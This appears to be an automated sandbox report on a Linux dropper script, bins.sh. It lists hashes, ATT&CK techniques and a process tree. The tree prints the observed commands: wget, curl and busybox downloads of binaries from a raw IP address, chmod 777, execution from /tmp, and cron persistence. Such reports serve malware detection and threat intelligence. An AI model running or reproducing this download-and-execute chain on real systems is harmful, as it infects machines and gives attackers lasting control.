f98486edcd5b27f2b019ed174345f85e8ea618f8fe85b5b10658d051775c6d00

General

Target

bins.sh
Size

10KB
MD5

33940d0397837b5881a93decafb2d6b1
SHA1

b628698bdb44575c1c23bec978e3d9fc1c884cec
SHA256

f98486edcd5b27f2b019ed174345f85e8ea618f8fe85b5b10658d051775c6d00
SHA512

8fa5b4f1c3dd50156baa943ba3a6f1dfc0fcaf568585a569c1dd8d05d6be3d4bdd17fc381c0be1dc9bd13b112151d9392b4e70f61343cfb00a0cdc3ea33bd99a
SSDEEP

192:1gXvFQDivmLRsSqEJVVLLKSqEJV7XvFQDivVR:1gXvFQDivmLRsSqEJVVvKSqEJV7XvFQi

Score

7^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmod

pid process

1496 chmod
Executes dropped EXE 1 IoCs

Processes:

hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp

ioc pid process

/tmp/hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp 1497 hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
Renames itself 1 IoCs

Processes:

hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp

pid process

1498 hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
execution persistence privilege_escalatio

Cron
T1053.003

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.uSnQDK crontab
Enumerates running processes
Discovers information about currently running processes on the system

pid	process
1496	chmod

ioc	pid	process
/tmp/hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp	1497	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp

pid	process
1498	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.uSnQDK	crontab

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp

description	ioc	process
File opened for reading	/proc/1184/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1284/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1511/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1538/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1312/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1596/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/515/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/648/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/34/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/164/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/432/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/958/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1540/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1577/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1603/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1536/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1564/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/24/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/32/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/197/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/451/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1505/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/3/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1275/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1521/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1605/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1606/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/31/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/952/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/84/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1067/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1174/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1537/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1589/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1608/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/80/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1007/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1597/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1604/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/78/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1322/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1554/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1578/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1528/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/936/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/945/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1513/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1518/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1527/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/157/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/626/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1294/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1549/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/15/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/428/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1531/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1565/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/156/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/436/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1545/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1584/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/12/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/166/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxwgetcurl

description	ioc	process
File opened for modification	/tmp/hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp	busybox
File opened for modification	/tmp/hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp	wget
File opened for modification	/tmp/hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1487
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1488
- /usr/bin/wget
  wget http://216.126.231.240/bins/hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
  2⤵
  - Writes file to tmp directory
  PID:1489
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
  2⤵
  - Writes file to tmp directory
  PID:1493
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
  2⤵
  - Writes file to tmp directory
  PID:1495
- /bin/chmod
  chmod 777 hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
  2⤵
  - File and Directory Permissions Modification
  PID:1496
- /tmp/hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
  ./hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1497
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1499
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1500
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1501
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1502
- /bin/rm
  rm hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
  2⤵
  PID:1504
- /usr/bin/wget
  wget http://216.126.231.240/bins/HjCm6nj7CV8lCKcij1828qHzP3dqz6N27i
  2⤵
  PID:1507

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Persistence

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Privilege Escalation

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Defense Evasion

File and Directory Permissions Modification

1

T1222

Linux and Mac File and Directory Permissions Modification

1

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/var/spool/cron/crontabs/tmp.uSnQDK

Filesize
210B

MD5
3edf3f0e6fbfce21b3ab1a0b4fce48c7

SHA1
c953969f6870b89c44e6b38e748da6614f22c52f

SHA256
87f0ec40443ef39d6332a11efd381d99da93e4a33c65408319f5bbabba1a1b40

SHA512
3465f1e2390066543f3a245992a834f328d98a13f0dd6370d938c59588bc372dec7b4781e6b526f8b4e45925ffeaef613240701ef18a294ef453240cd74e32b3

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads